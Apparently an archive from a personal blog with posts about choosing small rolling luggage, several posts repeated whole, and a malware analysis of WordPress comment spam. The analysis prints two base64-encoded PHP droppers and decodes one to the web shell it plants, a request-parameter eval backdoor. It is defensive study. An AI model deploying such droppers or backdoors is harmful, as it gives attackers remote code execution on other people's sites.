Scooter luggage and travel cosplay.
Luggage with a built-in scooter is awesome. I've seen ride-on wheeled luggage for kids (and coveted it mightily), and this appears to be the adult-friendly equivalent. Sadly, does not meet a lot of my other criteria (I'd be shocked if they let me avoid gatechecking this) and it's $250 (But at least shipping is free...). I'm tempted just for the awesome factor.
Here's a small hard case that meets a lot more of my criteria. It clocks in at 35cmx39cmx23cm (that's 14"x15"x9" for those of us who have to fly in America) and comes in cheerful colours. I'm actually not sure which one I'd choose -- normally I shun the pinks but that dark one is pretty lovely and would fit nicely into some sort of business-travelling fashionista persona if I dressed the part with some business casuals. But maybe the green or red would be less likely to clash with my existing wardrobe.... Honestly, I'm approaching this project much like I do cosplay, and now that I think about it it's not really that different: I'm playing for an audience to believe me to be someone very specific. Nevermind that I'm still projecting a variant on me; it's all the same body language, fashion, and carefully chosen accessories that make it work.
Similarly, a bright orange gem that could probably work with the persona too. 36x44x20cm (14x17x8") for that one, and only two wheels tucked into the edges so probably a bit more packing space in the final tally.
But despite the obvious appeal for my in-progress traveler persona, I'm not seeing any useful way for me to get reviews of these that I can actually understand since they're shipping from Hong Kong, and I haven't quite decided if I really should be making a hundred dollar gamble just because the colours are fun. I wonder if it's possible to find something similar that's at least a little more local to me? I have learned the useful new search terms "rolling business case" but it's mostly been turning up uninspired blackness.
Incidentally, I *did* check the wirecutter and they do have a section on bags, just not the kind I'm looking for. Bags are one of those few things I'm exceptionally picky about (especially right now while mildly injured, but even when not I tend to have precise requirements) so it probably isn't that much of a loss. They're apparently looking for a freelance bag editor and I rather wish I were actually the right person for that job. Lot of work for little pay, but a chance to try lots of bags!
comments
Here's a small hard case that meets a lot more of my criteria. It clocks in at 35cmx39cmx23cm (that's 14"x15"x9" for those of us who have to fly in America) and comes in cheerful colours. I'm actually not sure which one I'd choose -- normally I shun the pinks but that dark one is pretty lovely and would fit nicely into some sort of business-travelling fashionista persona if I dressed the part with some business casuals. But maybe the green or red would be less likely to clash with my existing wardrobe.... Honestly, I'm approaching this project much like I do cosplay, and now that I think about it it's not really that different: I'm playing for an audience to believe me to be someone very specific. Nevermind that I'm still projecting a variant on me; it's all the same body language, fashion, and carefully chosen accessories that make it work.
Similarly, a bright orange gem that could probably work with the persona too. 36x44x20cm (14x17x8") for that one, and only two wheels tucked into the edges so probably a bit more packing space in the final tally.
But despite the obvious appeal for my in-progress traveler persona, I'm not seeing any useful way for me to get reviews of these that I can actually understand since they're shipping from Hong Kong, and I haven't quite decided if I really should be making a hundred dollar gamble just because the colours are fun. I wonder if it's possible to find something similar that's at least a little more local to me? I have learned the useful new search terms "rolling business case" but it's mostly been turning up uninspired blackness.
Incidentally, I *did* check the wirecutter and they do have a section on bags, just not the kind I'm looking for. Bags are one of those few things I'm exceptionally picky about (especially right now while mildly injured, but even when not I tend to have precise requirements) so it probably isn't that much of a loss. They're apparently looking for a freelance bag editor and I rather wish I were actually the right person for that job. Lot of work for little pay, but a chance to try lots of bags!
Smaller travel bags
I currently own a 20" rolling carry-on bag that has met my airline & train travel needs for years (I switched to it a year or two before airlines started charging for checked bags), and it's perfect for a week-long conference where I'm coming back or going out with a lot of stuff, or when I'm visiting my parents for close to a month at Christmas, but it seems excessive when I'm going for a weekend trip or a job interview.
I'm considering getting a smaller suitcase for those shorter trips, so I'm working out my requirements. This thread covers more or less what I have in mind, but here's some personal preference/requirement notes:
1. Must have wheels. I used to do backpack+purse for shorter trips, but I've been finding that I often pinch a nerve during travel and I'm pretty sure carrying my camera/laptop on my back is a factor.
2. Can fit my laptop and possibly SLR camera + 2-3 days worth of clothes. Thankfully my clothes are pretty small. Camera may be optional: I'm trying a downgrade to a point and shoot for short trips.
3. Preferably I'd like something that can fit into the overhead bin on the smaller regional jets, since often my flight will have one hop with those. A search says that this means the bag will have to be around 18Lx14Wx7D. Sounds like you can fit larger, but I'd rather not have to argue it out with the gate staff / flight attendant every time. I am perfectly ok with being given a checked tag and then "obliviously" carrying my bag on the plane anyhow as long as it will fit, though.
4. Butnot arguing with the gate/flight staff every time I fly would be awesome. This may mean going with something more backpack-like so I can just put it on my back when I walk on the plane, but mostly it just reinforces "small" and "looks like it holds a laptop." Briefcases should work.
5. Should have an open clothing section as opposed to a bunch of filefolder divider things that will make it harder to pack.
6. Should open fully, at least for the clothing section. Pure preference on my part.
7. I'm not too picky about laptop sleeves, although something I can easily slip a laptop out of for the TSA or in case I do have to check the bag is good. I basically never use my laptop on the plane, I just don't want to skycheck it.
8. If at all possible, not black. Something like 90% of the suitcases I see are black and I don't want to be worrying about someone grabbing mine by mistake.
9. But (and i realize this may contradict the "not black" thing) something that looks more business traveller-y would be good. I have a *lot* of trouble with TSA reps assuming I'm young or an infrequent traveler which is especially frustrating when I go somewhere with J and they immediately assume he's an expert while I get the "oh, hon, you know our machines are perfectly safe?" talk-down-to-the-little-girl spiel. (My new response: "My sister is a physicist who works in health and safety; I'd like to opt out." which is factually true but irrelevant and calculated to throw them and possibly nearby travelers out of their default headspace without getting into an argument.)
I've been finding that
(a) A disturbing number of online sites don't give pictures of the inside of the bags.
(b) A disturbing number of online sites don't give dimensions or even pictures that could help me guess the dimensions
(c) Bags are expensive (duh)
(d) There is an entire market for "women's suitcases" which I find somewhat strange. Particularly given that the "women's briefcase-bags" seem pretty much identical to the non-women's ones.
I don't have any short trips scheduled, but I'm hoping to find some bag options I like and catch a sale (luggage goes on sale quite frequently, so it's a bit ridiculous to pay full price if I've got time to spare).
I would love to hear first hand testimonials from any of you who travel with a bag that might meet my needs, though. It was a recommendation from Linuxchix that drew me to my current bag which has done me pretty well although it's starting to show its age now.
comments
I'm considering getting a smaller suitcase for those shorter trips, so I'm working out my requirements. This thread covers more or less what I have in mind, but here's some personal preference/requirement notes:
1. Must have wheels. I used to do backpack+purse for shorter trips, but I've been finding that I often pinch a nerve during travel and I'm pretty sure carrying my camera/laptop on my back is a factor.
2. Can fit my laptop and possibly SLR camera + 2-3 days worth of clothes. Thankfully my clothes are pretty small. Camera may be optional: I'm trying a downgrade to a point and shoot for short trips.
3. Preferably I'd like something that can fit into the overhead bin on the smaller regional jets, since often my flight will have one hop with those. A search says that this means the bag will have to be around 18Lx14Wx7D. Sounds like you can fit larger, but I'd rather not have to argue it out with the gate staff / flight attendant every time. I am perfectly ok with being given a checked tag and then "obliviously" carrying my bag on the plane anyhow as long as it will fit, though.
4. Butnot arguing with the gate/flight staff every time I fly would be awesome. This may mean going with something more backpack-like so I can just put it on my back when I walk on the plane, but mostly it just reinforces "small" and "looks like it holds a laptop." Briefcases should work.
5. Should have an open clothing section as opposed to a bunch of filefolder divider things that will make it harder to pack.
6. Should open fully, at least for the clothing section. Pure preference on my part.
7. I'm not too picky about laptop sleeves, although something I can easily slip a laptop out of for the TSA or in case I do have to check the bag is good. I basically never use my laptop on the plane, I just don't want to skycheck it.
8. If at all possible, not black. Something like 90% of the suitcases I see are black and I don't want to be worrying about someone grabbing mine by mistake.
9. But (and i realize this may contradict the "not black" thing) something that looks more business traveller-y would be good. I have a *lot* of trouble with TSA reps assuming I'm young or an infrequent traveler which is especially frustrating when I go somewhere with J and they immediately assume he's an expert while I get the "oh, hon, you know our machines are perfectly safe?" talk-down-to-the-little-girl spiel. (My new response: "My sister is a physicist who works in health and safety; I'd like to opt out." which is factually true but irrelevant and calculated to throw them and possibly nearby travelers out of their default headspace without getting into an argument.)
I've been finding that
(a) A disturbing number of online sites don't give pictures of the inside of the bags.
(b) A disturbing number of online sites don't give dimensions or even pictures that could help me guess the dimensions
(c) Bags are expensive (duh)
(d) There is an entire market for "women's suitcases" which I find somewhat strange. Particularly given that the "women's briefcase-bags" seem pretty much identical to the non-women's ones.
I don't have any short trips scheduled, but I'm hoping to find some bag options I like and catch a sale (luggage goes on sale quite frequently, so it's a bit ridiculous to pay full price if I've got time to spare).
I would love to hear first hand testimonials from any of you who travel with a bag that might meet my needs, though. It was a recommendation from Linuxchix that drew me to my current bag which has done me pretty well although it's starting to show its age now.
Falling down the rabbit hole: An analysis of some questionable blog spam
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.
So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));
Or this clearly related one (note that the top of the string is the same):
aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"
(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)
So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=
You might think we're getting close now, but here's what you get out of decoding that:
>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.
Here's what it looks like without the comments:
if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));
So let's stick together those concatenated strings again:
if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
comments
So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));
Or this clearly related one (note that the top of the string is the same):
aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"
(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)
So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
